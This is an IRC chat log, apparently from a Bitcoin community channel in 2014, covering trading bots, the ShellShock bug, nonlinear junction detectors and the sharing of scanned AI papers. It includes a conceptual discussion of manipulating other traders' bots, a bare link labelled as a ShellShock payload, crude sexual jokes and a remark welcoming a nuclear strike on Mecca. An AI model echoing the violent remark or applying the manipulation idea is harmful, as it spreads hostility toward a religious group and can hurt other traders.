16:42 asciilifeform and not by a pair of hands attached to a sniveling shill
16:46 mike_c oh. (smacks face) I was talking about author of exploit before, not bug. sorry for misinformation.
16:46 asciilifeform lol
16:47 nubbins` you mean seggelmann or henson?
16:47 nubbins` (or both?)
16:47 mike_c 20 year old bug, good luck figuring out author.
16:47 asciilifeform easier, in some cases, then modern piles of shit with 1000 authors
16:52 thestringpuller mircea_popescu: the most there is is me going on the record that .6.* is probably okay. << This sounded like a cartoon. Like the Family Guy cut away where the dude throws him a parachute with an anvil in it and says, "That one is probably okay"
16:53 thestringpuller not equating the two, just saying similar tone.
16:54 thestringpuller https://i.imgur.com/8U5cOHM.jpg << via our evoorhees
16:55 thestringpuller dunno why I said "our"
16:58 punkman !up Darkstone1
16:59 Darkstone1 I don't do voice, sorry.
17:00 Darkstone1 can i ask you guys a question? I have an relatively succesfull trading bot (multi-digit bitcoin gain since the beginning of this year) but i an starting to lose intrest in further development.
17:00 Darkstone1 I'm strugging in what the best way to 'commercialize' this thing is.
17:00 mike_c if it works.. run it?
17:01 Darkstone1 it certainly works, but as i said, i'm starting to lose intrest in further development. And i have a full-time job to attend to.
17:03 rithm Darkstone1 find VC's to fund your new bitcoin trading exchange
17:03 Darkstone1 One of the questions i've been unable to answer is weither should sell the source code or only the product.
17:03 Darkstone1 it's not an exchange, its an trading bot.
17:03 rithm Darkstone1, wite the whole thing yourself in PHP and release it to the world in production!
17:04 diametric public trade bots are worthless.
17:04 BingoBoingo ^
17:04 Darkstone1 it's written in c++ with Qt.
17:04 punkman well you can't really sell it without source
17:04 diametric and i'd never run a trade bot i couldn't inspect the source for.
17:04 rithm the source and the math of the engine is what is worth buying
17:04 rithm if anything
17:04 punkman maybe to some noobs with bitcents running Windows
17:05 Darkstone1 that i you shouldn't buy anything that you can't inspect the source for i can certainly agree with.
17:05 Darkstone1 but my parther thinks that selling the thing with source code is useless.
17:05 Darkstone1 it will just end up somewhere in the internet next week.
17:05 mircea_popescu <kakobrekla> im just approximating here. << heh
17:06 punkman Darkstone1, that's where the WoT helps
17:06 mike_c the only thing worthwhile is the automation. make it easy for non-programmers to put in their own methodologies.
17:06 mike_c sell to suckers, profit.
17:06 BingoBoingo <Darkstone1> can i ask you guys a question? I have an relatively succesfull trading bot (multi-digit bitcoin gain since the beginning of this year) but i an starting to lose intrest in further development. << Sounds like keeping it in your pocket until it interests you again may be the best option
17:06 mircea_popescu * asciilifeform is just unendingly entertained that вредители are allowed to not only keep living, but contributing code to whatever. <<< not quite whatever. currently the fashionable idiocies du jour still hold currency with the crowd, that "not the man, but what he's saying" and "we're all equal" and similar socialisms. they won't last the evening.
17:07 Darkstone1 I think there are too many -bad- platforms where people can put in their own stratety already.
17:07 mircea_popescu <mike_c> 20 year old bug, good luck figuring out author. <<< right, because nothing ever can be documented past the lifespan of the average teenager.
17:08 Darkstone1 perhaps opinions of the masses differ.. but there is no way i'm going to insert my API keys in an online platform.
17:08 mike_c hm, i suppose the average teenager is.. 16?
17:08 mircea_popescu we know the name of the rose verse to come from bernardo of cluny, 1000 years ago. but keeping track who shat in the repos is too hard over two decades.
17:08 mircea_popescu this entire shitfest won't survive me i tellya!
17:08 mike_c ;;calc (13 + 14 + 15 + 16 + 17 + 18 + 19) / 7
17:08 gribble 16
17:08 mike_c woot!
17:09 mircea_popescu <thestringpuller> not equating the two, just saying similar tone. << we are kinda inhaviting a cartoon world atm
17:09 punkman Darkstone1: yeah I doubt any of the hosted tradebots handle integer BTC amounts
17:09 mircea_popescu <Darkstone1> but my parther thinks that selling the thing with source code is useless. << so let the partner run it'
17:10 RagnarDanneskjol speaking of https://github.com/orisi/orisi/issues/85
17:10 assbot Call for Oracle hosts Issue #85 orisi/orisi GitHub
17:10 assbot [MPEX] [S.MPOE] 3102 @ 0.00074933 = 2.3244 BTC [-]
17:10 mircea_popescu mike_c well yeah, almost 16, something
17:11 Darkstone1 punkpan: i use doubles. It's bad, i know. But it does not really matter as most exchanges send you the amounts in json floats anyway..
17:11 mircea_popescu sigh.
17:11 punkman Darkstone1: no I just meant they'll never get to handle any serious amount of BTC
17:12 Darkstone1 oh. I'm not so sure.
17:12 Darkstone1 for example we have cryptotrader.
17:13 Darkstone1 which costs $40 a month.
17:13 Darkstone1 (totaly idiotic platform by the way...)
17:13 Darkstone1 wait a sec.
17:13 assbot berndj-blackout +v failed; L1: 0, L2: 0
17:13 mircea_popescu !up berndj-blackout
17:13 Darkstone1 10 dollars a month.
17:14 Darkstone1 i dont think anyone would pay 10 dollars a month to trade pennies.
17:14 berndj-blackout thanks mircea_popescu - just figuring out the cloak&dagger stuff :)
17:14 mircea_popescu you need to be in assbot's l2 wot to selfvoice here.
17:15 berndj-blackout ah, i see, i'm too random i suppose
17:15 fluffypony http://i.imgur.com/BPGsKbc.jpg
17:15 mircea_popescu Darkstone1 i paid 10 dollars a month numerous times to trade pennies in online games
17:15 asciilifeform diametric: public trade bots are worthless << not only this; but any bot whose strategy is exactly known to others - is useless.
17:15 mircea_popescu if what the delusion of being a "trader" costs is 10 bucks, plenty of takers.
17:16 fluffypony same as the delusion of being an "investor"
17:16 asciilifeform (in fact, i suspect that any bot whose strategy is not a game-theoretical-finesse-rape of other bots - is quite useless)
17:16 fluffypony especially people who think they've "invested" in a cryptocurrency because they bought some
17:16 Darkstone1 i consider myself a neobee invector :P
17:16 diametric neobee..
17:16 fluffypony lol
17:16 mircea_popescu fluffypony speaking of hard reset : http://www.youtube.com/watch?v=teV8-IGhSt8
17:16 assbot RObotzi.S01.Ep2.Defect - YouTube
17:16 Darkstone1 at least i was.
17:17 fluffypony mircea_popescu: are their English subs on that one at least?
17:17 mircea_popescu asciilifeform well marketing is game theoretical finesse rape of other bots. except for some reason other bots insist on calling them people.
17:17 mircea_popescu fluffypony just the video :D
17:18 mircea_popescu ;;ident berndj-blackout
17:18 gribble CAUTION: irc nick differs from otc registered nick. Nick 'berndj-blackout', with hostmask 'berndj-blackout!~berndj@azna.co.za', is identified as user 'berndj', with GPG key id FAC02779DEC0DED1, key fingerprint BCB3F00CB5A64A16A31EFCE6FAC02779DEC0DED1, and bitcoin address None
17:18 ThickAsThieves <+mircea_popescu> "what means safe" "what means healthy" /// such a semantic day!
17:19 Darkstone1 asciilifeform: i can partialy agree on that. But if i do not have an game-theory fitness ass raping bot. I tried but failed.
17:19 mircea_popescu what do you mean by that ?
17:19 asciilifeform consider an elementary case
17:19 mircea_popescu Darkstone1 http://trilema.com/2014/the-psychology-of-the-bagholder/ read that try again ?
17:19 assbot The psychology of the bagholder pe Trilema - Un blog de Mircea Popescu.
17:19 asciilifeform where you know that opponents are running, e.g., simple arbitrage bots, but each has a 'stop-loss' threshold
17:19 asciilifeform and you know what the thresholds are
17:20 Darkstone1 *again*? no thank you, already read it.
17:20 asciilifeform then you can, if your 'hammer' (ability to move price) is large enough, manipulate.
17:20 kakobrekla i see this everyday - what ascii is describing
17:20 mircea_popescu kakobrekla you might not be the only one.
17:20 mircea_popescu Darkstone1 a okay then
17:20 kakobrekla (or maybe im just imagining)
17:20 Darkstone1 And i am not an neobee bagholder. I sold everything after the crash and gained +50%.
17:21 asciilifeform in fact, even if you do not know the actual strategies - you can discover the system's 'resonances' by repeated hammer blows.
17:21 mircea_popescu Darkstone1 the point was, "how to build gt finesse bots"
17:21 mircea_popescu asciilifeform works especially well if you're too big to fail, thoo.
17:21 asciilifeform and yes, i must admit i worked on this. but let it go, from lack of hammer.
17:22 asciilifeform other people - who have hammer - should be presumed to have worked on it, as well.
17:22 berndj-blackout asciilifeform: won't any nonzero hammer work, given enough time to get a decent SNR?
17:22 asciilifeform berndj-blackout: nope. to run with the mechanical analogy, the system has a certain amount of 'dampening'.
17:22 ben_vulpes hammer wears
17:23 ben_vulpes energy reservoir backing it empties.
17:23 mircea_popescu dampening is right
17:23 ThickAsThieves <+kakobrekla> (or maybe im just imagining) /// it wouldnt be ta otherwise
17:24 berndj-blackout asciilifeform, add to that, use a spread-spectrum hammer or something
17:24 asciilifeform to continue the oscillator analogy: nitwits running simple bots will show up as 'line spectra'.
17:25 Darkstone1 I'm fairly sure i've met bots specially crafted to screw my bots at one exchange once...
17:25 Darkstone1 it was a sad day.
17:25 ThickAsThieves another sign that chinese exchanges are all bots/washing, the books are always balanced
17:26 ThickAsThieves orderbooks*
17:26 ben_vulpes would this actually be a frequency response thing?
17:26 asciilifeform Darkstone1: if this is even remotely possible to do to you - and probably necessarily so if your bot is less complicated, than, say, 'eurisko' - give up.
17:26 mircea_popescu really the proposition of making a living with trading bots is the response of the engineer who confronted with the fundamental impossibility of making money picking stocks decides to write a hard ai to do it.
17:26 mircea_popescu exactly asciilifeform's "but we don't even know how to make computers yet!" sorta thing
17:26 ThickAsThieves shit i dont even trust stop orders
17:26 ThickAsThieves nevermind a bot
17:26 Darkstone1 asciilifeform It is no longer possible to do so. I belive i closed all gaps.
17:27 mircea_popescu is this the famous last words competition ?
17:27 ThickAsThieves hehe
17:27 ThickAsThieves be creative!
17:27 Darkstone1 except the one where a whale sells hundreds of bitcoins on all the exchanges where i'm active. But that probably a slim chance.
17:27 mircea_popescu what could the tiger possibly do.
17:27 asciilifeform Darkstone1: ever play 'core wars' ?
17:27 mircea_popescu hundreds ?! uh.
17:27 asciilifeform Darkstone1: or write a virus ?
17:27 Darkstone1 no i'll look it up.
17:27 ThickAsThieves Darkstone1 this is how I trade at times
17:28 BingoBoingo Come on, real trading insight comes from the gut!
17:28 asciilifeform except the one where a whale sells hundreds of bitcoins << and your machine isn't buying cheapo coin in its wake?
17:30 fluffypony oh I see we're calling the Bash bug "ShellShock" now
17:30 ThickAsThieves elation=sell
17:30 fluffypony I hope someone made a logo
17:30 BingoBoingo You've got more serotogenic neurons in the ganglia there than in the brain
17:30 ThickAsThieves teach your bots elation
17:30 fluffypony I can't take these bugs seriously without a logo and an info site
17:30 BingoBoingo ThickAsThieves: No, teach them fear, that sinking feeling in the pit of one's stomach!
17:30 ThickAsThieves sure if you wanna make a bad trader
17:30 BingoBoingo Hunger as well
17:30 ThickAsThieves !up Darkstone1
17:30 BingoBoingo !up Darkstone1
17:32 kakobrekla http://singlesaints.com/firefile/temp
17:33 kakobrekla shellshock payload
17:35 BingoBoingo https://upload.wikimedia.org/wikipedia/commons/7/76/Clitoria_%28253000626%29.jpg
17:44 asciilifeform !up berndj-blackout
17:44 kakobrekla !s coinflow
17:44 assbot 49 results for 'coinflow' : http://search.bitcoin-assets.com/?q=coinflow
17:45 berndj-blackout thanks, but i'm likely to be idle for a while. should work on my rating i guess
17:46 kakobrekla ;;gettrust assbot coinflow
17:46 gribble WARNING: Currently not authenticated. Trust relationship from user assbot to user coinflow: Level 1: 0, Level 2: 0 via 0 connections. Graph: http://b-otc.com/stg?source=assbot&dest=coinflow | WoT data: http://b-otc.com/vrd?nick=coinflow | Rated since: never
17:46 kakobrekla anyone got a contact from this dude
17:52 kakobrekla ;;seen parseval
17:52 gribble parseval was last seen in #bitcoin-assets 41 weeks, 5 days, 19 hours, 24 minutes, and 53 seconds ago: <parseval> though, really, I think banning banks from handling bitcoin transactions is a good thing
17:52 kakobrekla huh
17:52 mike_c sry, btcalpha put coinflow out of bizness
17:53 kakobrekla i just noticed - looking at logs - he is spamming my boxen
17:53 mike_c i pwned his box for kicks too
17:53 mike_c (j/k)
~ 18 minutes ~
18:12 mircea_popescu <fluffypony> I can't take these bugs seriously without a logo and an info site << these bugs got no ux!
18:12 fluffypony damn straight
18:12 fluffypony before announcing it they should at least have a logo contest
18:13 BingoBoingo OMG coverup in New York City!!! http://nypost.com/2014/09/25/groundhog-dropped-by-de-blasio-died-of-internal-injuries/
18:13 assbot Zoo in coverup after groundhog dropped by de Blasio dies | New York Post
18:13 mircea_popescu kakobrekla used to run a fund with PsychoticBoy
18:14 kakobrekla wha???
18:14 kakobrekla oh
18:14 kakobrekla he seems a goner
~ 19 minutes ~
18:34 ben_vulpes awwwww ye
18:34 ben_vulpes if these deals come through, i'm going to have such sweet projects lined up
18:35 ben_vulpes and there are enough on the table that i should be making odds on how many close
18:48 BingoBoingo https://twitter.com/dannyyadron/status/515205493623898112 << Guess the apple warrant canary disappeared because... warrant
18:48 assbot Breaking: FBI Director says the bureau is talking to Apple and Google about new encryption settings. Story to come.
18:51 ben_vulpes new encryption settings
18:52 ben_vulpes the "let me fuck your shit up" switch must be enabled.
18:53 BingoBoingo Eh, the new Apple stuff seems to have a bunch of built in side channels to keep syncing the device with the desktop easy
18:58 ThickAsThieves kako, I owned coinflow in the end
18:58 ThickAsThieves parseval is long gone
18:58 ThickAsThieves afaik my friend hosting it let it lapse
18:58 ThickAsThieves but i emailed him to check
19:01 kakobrekla ThickAsThieves http://dpaste.com/367MW24.txt
19:02 ThickAsThieves k
19:02 ThickAsThieves relayed
19:10 kakobrekla ThickAsThieves what are your plans with that thing anyway
19:12 ThickAsThieves stopped all work on it
19:12 ThickAsThieves had some decent plans back when there were more exchanges
19:12 ThickAsThieves but now i'm all set
19:13 ThickAsThieves in addition to coming to terms with what it really means to be a usian
19:13 kakobrekla :(
19:14 asciilifeform apple << wtf is the point of 'canary' if everyone ignores, makes up justifications, when it croaks.
19:14 ThickAsThieves it's ok, now i'm sharpening my trading skillz
19:14 ThickAsThieves enjoying it
19:15 asciilifeform obligatory: sheckley's 'hour of battle' --
19:15 asciilifeform http://www.gutenberg.org/files/29445/29445-h/29445-h.htm
19:15 assbot Error 403
19:18 Bet placed: 4.29 BTC for Yes on "BTC Difficulty over 41Bn before November" http://bitbet.us/bet/1050/ Odds: 79(Y):21(N) by coin, 77(Y):23(N) by weight. Total bet: 7.17010104 BTC. Current weight: 80,404.
19:28 ben_vulpes the gutenberg notices are longer than the story
19:28 ben_vulpes o.O
19:41 pete_dushenski <mircea_popescu> lord norwich is the english authority on venice << merci!
19:42 pete_dushenski looks like asciilifeform rectothermal scan will be… a dog:
19:42 pete_dushenski http://www.bloomberg.com/news/2014-09-23/a-police-dog-for-the-digital-age-she-can-smell-the-usb-drive-you-re-hiding.html
19:42 assbot A Police Dog for the Digital Age: She Can Smell the USB Drive You're Hiding - Bloomberg
19:42 pete_dushenski for stopping teh child pr0n!
19:43 asciilifeform pete_dushenski: ancient item, search #b-a logs.
19:43 pete_dushenski asciilifeform: apple << wtf is the point of 'canary' if everyone ignores, makes up justifications, when it croaks. << just because puppets talking "ignore" doesn't mean everyone ignores
19:43 pete_dushenski !s usb dog
19:43 assbot 0 results for 'usb dog' : http://search.bitcoin-assets.com/?q=usb+dog
19:43 pete_dushenski hm
19:44 pete_dushenski !s digital dog
19:44 assbot 0 results for 'digital dog' : http://search.bitcoin-assets.com/?q=digital+dog
19:44 kakobrekla !s firewire cat
19:44 assbot 0 results for 'firewire cat' : http://search.bitcoin-assets.com/?q=firewire+cat
19:44 pete_dushenski futility is you!
19:44 pete_dushenski or maybe "thunderbolt terrier" ?
19:46 asciilifeform pete_dushenski: http://log.bitcoin-assets.com/?date=07-07-2014#747841
19:46 assbot Logged on 07-07-2014 14:17:39; asciilifeform: BingoBoingo, mircea_popescu, others: re: electronics-sniffing dog << distraction psyop. in real life, hidden electronics are found with a nonlinear junction detector.
19:46 pete_dushenski ;;google nonlinear junction detector
19:46 gribble Nonlinear junction detector - Wikipedia, the free encyclopedia: <http://en.wikipedia.org/wiki/Nonlinear_junction_detector>; REI ORION 2.4 Non-Linear Junction Detector: <http://www.research-electronics.com/cgi-bin/main.cgi?action=viewprod&ct=products&pct=ORION%202.4&num=ORION%202.4>; NLJD - Non Linear Junction Detector Tutorial - Granite Island Group: (1 more message)
19:47 pete_dushenski that leaves us with paper wallets entre les buttcheeks.
19:47 pete_dushenski laminted, natch
19:48 asciilifeform pete_dushenski: or semiconductors encased in continuous conductive countours.
19:49 pete_dushenski asciilifeform: analog or digital, user pref
19:50 mircea_popescu https://www.youtube.com/watch?v=5JbnDXw-0pM << friction welding. it's a thing
19:50 assbot The Power of Friction - YouTube
19:50 asciilifeform of course it is
19:50 asciilifeform when unintentional - bane of machine tool operators everywhere
19:50 mircea_popescu pretty cool vid i say!
19:51 asciilifeform these appear to be wheel hubs.
19:52 mircea_popescu JuliaTourianski how goes canada ?
19:53 mircea_popescu <asciilifeform> apple << wtf is the point of 'canary' if everyone ignores, makes up justifications, when it croaks. << "everyone" ? the us agitprop (calling itslef "mainstream media") is not everyone just like tardstalk.org is not everyone in bitcoin.
19:54 mircea_popescu heck, it'll be tough to argue that they're someone at all, even.
19:54 asciilifeform mircea_popescu: this was not limited to the loltron. plenty of 'humans' made excuses.
19:54 mircea_popescu like... who ? schneier ? :D
19:55 mircea_popescu moldbug ?
19:55 asciilifeform nah peanut gallery.
19:55 mircea_popescu well ppls can err
19:57 pete_dushenski friction << certified cool!
19:59 mircea_popescu "Richard Everset and C. R. Jones had gone on the first interstellar flight. They had found an inhabited planet in the region of Vega. The rest was standard procedure."
19:59 mircea_popescu such bad writing. if something is a first then it can't be "standard procedure"
19:59 mircea_popescu standard procedure is what an old whore does, never a virgin.
19:59 asciilifeform mircea_popescu: sheckley was a sort of comedian.
19:59 ben_vulpes first moon landing - full of standard procedures.
20:00 asciilifeform mircea_popescu: this partially why he was revered in the soviet world, where he in fact died (on tour) a few years ago.
20:00 asciilifeform (while almost forgotten in his native land)
20:00 mircea_popescu i never heard of him
20:00 * asciilifeform somewhat surprised
20:02 mircea_popescu the premise is not bad.
20:03 mircea_popescu "What armor is there against thought? How do you dodge a wavelength?" << meh. why ruin it ? wavelength is not thought, and moreover easily armored against.
20:05 mircea_popescu "Any alteration from the typical human brain wave pattern of the occupants of a Detector-equipped ship would boost the indicator around the dial. Even a bad dream or a case of indigestion would jar it." || "The unmoving dials." jesus pick one.
20:07 asciilifeform mircea_popescu: this is generally why ancient sf is best read in childhood
20:08 asciilifeform mircea_popescu: it doesn't usually survive this treatment
20:08 asciilifeform mircea_popescu: doesn't make it worthless.
20:08 mircea_popescu myeah.
20:10 assbot [MPEX] [S.MPOE] 38081 @ 0.00074777 = 28.4758 BTC [-] {2}
20:10 mircea_popescu actually it's a little jewel, just a bit of cruft here and there.
20:10 mircea_popescu maybe should be rewritten properly.
20:11 JuliaTourianski +mircea_popescu quite well, how goes wherever you live?
20:12 mircea_popescu where i live goes nudely swell.
20:12 mircea_popescu which is a superlative idiomatic i've just created for the occasion.
20:13 JuliaTourianski fancy
20:14 thestringpuller every time I see the word fancy
20:14 thestringpuller i think of that song fancy huh
20:14 thestringpuller by drake or whoever the fuck
20:15 JuliaTourianski iggy asmellyyah..becuase mike dice is a creative.
20:16 JuliaTourianski i bet the dude rocks out to katy perry in the shower.
20:16 JuliaTourianski because estrogen in water
20:18 mircea_popescu i wonder how long before the standard moves from "potable water" to "pristine water"
20:19 mircea_popescu i've not drunk tap water in about a decade or so.
20:20 ben_vulpes in this town we flush whole reservoirs when someone pees in them
20:21 ben_vulpes and nobody's allowed in the bull run
20:21 ben_vulpes nominally.
20:21 JuliaTourianski avian is what the new world order drinks
20:21 JuliaTourianski this message was sponsored by avian
20:22 ben_vulpes agua sin gas bleh
20:22 JuliaTourianski evian*
20:22 JuliaTourianski heh
20:22 JuliaTourianski do they still have water bars?
20:23 peterl I still drink out of the hose with my kids if outside.
20:24 cazalla JuliaTourianski, do you use one of AJ's water filters?
20:24 JuliaTourianski don;t you worry boys, xenoestrogen & phytoestrogen will get you
20:24 JuliaTourianski +cazalla big berke
20:24 JuliaTourianski the dated water filter - but it looks empowering
20:26 thestringpuller JuliaTourianski: i bet the dude rocks out to katy perry in the shower. << If you're talking about Drake, I think this is confirmed...
20:26 JuliaTourianski +thestringpuller no mike dice
20:26 BingoBoingo JuliaTourianski: don;t you worry boys, xenoestrogen & phytoestrogen will get you << You know one of the steps involved in maturing sperm cells in the testicals involves... converting testosterone to estrogen!
20:27 thestringpuller People also search for Alex Jones.
20:27 thestringpuller lol
20:27 JuliaTourianski exactly
20:27 JuliaTourianski and when your body is overrun by fake estrogens, it hinders its ability to do so
20:28 thestringpuller so fake estrogen == bad sperm?
20:28 JuliaTourianski the juice boxes ARE making you gay boys.
20:28 cazalla JuliaTourianski, you mean a popper?
20:28 JuliaTourianski OMG where are all the homos of btc? bitcoin is homophobic. must write article for tumblr
20:29 thestringpuller jurov is gay...
20:29 peterl isn't Rassah gay?
20:29 thestringpuller that too
20:29 JuliaTourianski *waiting for someone to take low blow bait
20:29 thestringpuller ~_~
20:30 JuliaTourianski is rassah gay? didn;t get that vibe
20:30 peterl thought I read that from him somewhere?
20:30 ben_vulpes jurov, non?
20:31 peterl I don't know him personally
20:31 JuliaTourianski who would write about that :S
20:31 peterl it was sort of inferred, guy talking about his husband ...?
20:31 mircea_popescu BingoBoingo testicals are feminist testicles ?
20:32 mircea_popescu <peterl> isn't Rassah gay? <<< i don't think as much gay as a furry creature.
20:33 peterl same thing?
20:33 BingoBoingo mircea_popescu: Well... Testicles was a great warrior in the Classical period...
20:34 peterl wasn't that pericles?
20:35 JuliaTourianski +peterl rofl
20:35 mircea_popescu or patrocles.
20:35 mircea_popescu who actually WAS gay
20:36 peterl they had gay back then?
20:36 JuliaTourianski gay was the only thing they had back then
20:37 JuliaTourianski and goats
20:37 peterl women not invented yet?
20:39 mircea_popescu peterl women were the goats.
20:39 mircea_popescu so cheezy from all the neglect you could scarcely tell the difference.
20:40 mircea_popescu sapho lived off of herding greek gals and selling the diary.
20:40 peterl ewww
20:41 mircea_popescu stop playing with your food young man and eat your vaggies.
20:41 peterl nom-nom
20:42 JuliaTourianski i used to make cheese at home all the time. what happened to me?
20:42 peterl I made mead at home once
20:42 mircea_popescu you stopped being poor ?
20:43 JuliaTourianski yes.
20:43 JuliaTourianski https://images.duckduckgo.com/iu/?u=http%3A%2F%2F2013hoaxblog.s3.amazonaws.com%2Fhilton_poor.jpg&f=1
20:43 mircea_popescu lol
20:45 JuliaTourianski omg. dying. http://www.huffingtonpost.com/2014/09/25/taylor-swift-no-its-becky_n_5883126.html?&ncid=tweetlnkushpmg00000067
20:45 assbot Taylor Swift Brings 'No Its Becky' Meme To Life, Wins Internet
20:49 penguirker New blog post: http://www.thedrinkingrecord.com/2014/09/25/ncaa-football-fuck-it-week-5/
20:52 asciilifeform in response to years of prodding from various folks, and mircea_popescu reminding me that 'lesswrong' existed, i took an hour or so to digitize the old douglas lenat papers. now need a place to host
20:52 asciilifeform (a bit bulky)
20:53 asciilifeform now we can finally destroy the universe by enabling any kid to build rogue ai.
20:53 asciilifeform or something like that.
20:53 mircea_popescu email ill put on trilema
20:54 asciilifeform 500 Mb or so
20:54 mircea_popescu the guy wrote 100 mn words ?!
20:54 asciilifeform scans.
20:54 asciilifeform djvu no less
20:54 mircea_popescu meh such digitize
20:55 mircea_popescu what's the largest filesize ?
20:55 asciilifeform 240M
20:55 asciilifeform about to make w4r3z torrent...
20:55 mircea_popescu i got the space, just, some derpy kid's idea of ai will prolly be to try and "loic" it
20:55 mircea_popescu torrent prolly best
21:01 JuliaTourianski do you guys have any opinions on stefan molyneux?
21:02 JuliaTourianski srsly just curious
21:02 mircea_popescu !s molyneux
21:02 assbot 1 results for 'molyneux' : http://search.bitcoin-assets.com/?q=molyneux
21:02 mircea_popescu anywya, he's ok i guess.
21:03 JuliaTourianski 1 result. aw
21:03 kakobrekla dun worry, its now 3.
21:04 kakobrekla 4 actually. :(
21:04 JuliaTourianski heh
21:04 asciilifeform mircea_popescu: try: http://loper-os.org/pub/lenat-leaks.tar.gz.torrent
21:04 kakobrekla imma leech too
21:05 kakobrekla doesnt work - the link
21:05 mircea_popescu sca,
21:05 mircea_popescu scam*
21:06 asciilifeform 1sec
21:10 mats_cd03 pricing of the nonlinear junction detector looks quite high. is there a miser's version somewhere? made in a sweatshop perhaps?
21:10 asciilifeform let's try that link again.
21:11 kakobrekla nop
21:11 asciilifeform now?
21:13 thestringpuller my life goal is to own a sweatshop
21:13 thestringpuller fill it with indonesian children
21:13 kakobrekla mno
21:20 asciilifeform kakobrekla: now ?
21:21 kakobrekla no cigar
21:21 asciilifeform what happens ?
21:21 kakobrekla right now i just get a network error
21:21 kakobrekla earlier it was file not found briefly
21:23 kakobrekla use some retarded upload service ?
21:23 kakobrekla ;;google upload file
21:23 gribble Upload - Speedy Share - upload your files here: <http://www.speedyshare.com/>; Free large file hosting. Send big files the easy way!: <https://www.sendspace.com/>; WeTransfer: <https://www.wetransfer.com/>
21:26 mats_cd03 http://www.armytimes.com/article/20140925/NEWS/309250057/-Big-Red-One-HQ-will-deploy-Iraq 1st ID to follow 1st Armored HQ dudes.
21:26 assbot 'Big Red One' HQ will deploy to Iraq | Army Times | armytimes.com
21:27 mats_cd03 i should do a bet about green attacks before end of the year
21:27 mats_cd03 er, green on green
21:28 mats_cd03 and green on blue.
21:31 assbot [MPEX] [S.MPOE] 54242 @ 0.00074753 = 40.5475 BTC [-] {2}
21:34 mats_cd03 some days i think about whether someone will end up glassing mecca
21:34 asciilifeform mats_cd03: i've been thinking about it ever since al schwartz recommended it in '01...
21:34 mats_cd03 that would be a good day
21:35 asciilifeform kakobrekla: uploading turd...
21:35 thestringpuller was that a real thing?
21:35 thestringpuller someone actually used the term "glassing"
21:35 mircea_popescu http://trilema.com/2014/the-hour-of-reckoning/ asciilifeform <
21:35 assbot The Hour Of Reckoning pe Trilema - Un blog de Mircea Popescu.
21:35 kakobrekla the torrent file?
21:36 kakobrekla i have set up rtorrent on some boxen with pipe
21:36 mats_cd03 huh?
21:36 mats_cd03 are we on the same page? nuclear detonation.
21:36 asciilifeform wait people don't know what 'glassing' means?!
21:36 asciilifeform mircea_popescu: neato! reading...
21:37 mircea_popescu glassing is the wholesale production of borosilicate glass out of the landscape as the side effect of a runaway nuclear reaction.
21:37 assbot [HAVELOCK] [RENT] 1400 @ 0.0075 = 10.5 BTC [+]
21:38 asciilifeform aka 'trinitite.'
21:39 mats_cd03 http://www.baenebooks.com/chapters/1597801348/1597801348___3.htm
21:39 assbot - Chapter 3
21:40 mats_cd03 a short story.
21:41 kakobrekla did you get the torrent up ascii?
21:41 asciilifeform kakobrekla: actually throwing it on a server.
21:41 asciilifeform kakobrekla: ~half done
21:42 kakobrekla ok boss
21:42 asciilifeform should be shat out by the time i'm done reading 'hour of reckoning'
21:44 pete_dushenski blog incoming. turns out not every vc is a derp.
21:44 decimation re: nonlinear junction detector << like an ohm meter?
21:44 asciilifeform decimation: nope.
21:44 asciilifeform decimation: more like a radar set
21:45 pete_dushenski now: al gimnasio!
21:45 decimation trival V-I curve at DC is easily detected
21:45 asciilifeform decimation: if beam hits a rectifier, energy is absorbed instead of reflected or transmitted to other side of obstacle.
21:45 asciilifeform decimation: and anything that semiconducts is rectifier.
21:46 decimation if the signal passes through a channel that is not linear-time-invariant, one will see intermodulation products arise
21:46 thestringpuller i think i learn more in this channel than i ever did in school
21:47 decimation subtle nonlinearities in radio systems are regularly measured with the 'two-tone test'
21:47 thestringpuller mircea_popescu: glassing is the wholesale production of borosilicate glass out of the landscape as the side effect of a runaway nuclear reaction. << this is a great definition
21:50 asciilifeform sha256(lenat-leaks.tar.gz) == cf3a34181d3dff597f1d3fbd7f5678d65263720dbe6ce14dc814ff714d729015
21:50 asciilifeform http://64.85.171.71/lenat-leaks.tar.gz
21:51 asciilifeform kakobrekla, mircea_popescu.
21:51 xanthyos IT'S MY BIRTHDAY
21:52 decimation wow ascii I'm getting 8 mbit/sec, that's serious
21:52 asciilifeform lol
21:52 asciilifeform please don't kill the poor bugger
21:52 asciilifeform it's an ancient box doing crawler duty
21:53 kakobrekla works
21:53 asciilifeform test hash when done.
21:54 decimation lol 'mnemus'
21:54 asciilifeform ancient apparatus, abandoned
21:54 asciilifeform of no consequence.
21:54 asciilifeform shared a machine with a 'sollipse' - also abandoned, of no use.
21:55 decimation ascii do you 'pack-rat' information on the internet? I find I am caching more and more these days
21:55 asciilifeform decimation: i tend to rely on my head
21:55 decimation yeah but it's handy to 'grep' for poorly-remembered stuff
21:55 asciilifeform decimation: this often annoys phriends who want an actual external copy of something in it...
21:56 asciilifeform decimation: heads come with 'grep' typically
21:56 mats_cd03 lol.
21:56 penguirker New blog post: http://trilema.com/2014/the-hour-of-reckoning/
21:56 decimation that's a good point
21:58 mircea_popescu thestringpuller> i think i learn more in this channel than i ever did in school << im sure most do.
21:58 decimation asciilifeform: I was thinking about your piston pump today - how do you craft it with all the 'hidden' holes? In two halves? Casting?
21:58 asciilifeform mircea_popescu: ^ w4r3z
21:58 asciilifeform decimation: what hidden holes
21:58 mircea_popescu <xanthyos> IT'S MY BIRTHDAY << happy bday.
21:58 decimation I mean the chambers must be carved from the inside
21:58 asciilifeform decimation: why?
21:59 asciilifeform decimation: you know, 18th century happened, thread was invented.
22:00 decimation ah so you are making tubes that screw together, not 'negative space' in the block like your link illustrated
22:00 asciilifeform decimation: what do you think.
22:01 decimation heh I guess it makes sense. elsewhere in the link, there are pictures of the ceramic 'screw pumps' that are supposedly of higher quality
22:01 asciilifeform decimation: those are quite nice
22:02 asciilifeform decimation: i can only dream of them.
22:02 decimation I was thinking one could cast with a mold, but a home-made version of those would probably not be sufficiently precisely machined
22:02 asciilifeform mold << nope.
22:02 decimation you think they are cut from ceramic blank?
22:02 asciilifeform sintered.
22:03 asciilifeform mircea_popescu, kakobrekla: let me know when you're done l33ch1ng t3h l33t w4rez
22:03 kakobrekla 40% done here
22:06 decimation cf3a34181d3dff597f1d3fbd7f5678d65263720dbe6ce14dc814ff714d729015 lenat-leaks.tar.gz
22:07 kakobrekla damn its same :(
22:07 mats_cd03 run through ocr for the rest of us, eh?
22:07 kakobrekla hehe
22:07 asciilifeform no ocr.
22:08 asciilifeform old, crappy scans (esp. the rare ones that never sat on the net before)
22:08 mats_cd03 :(
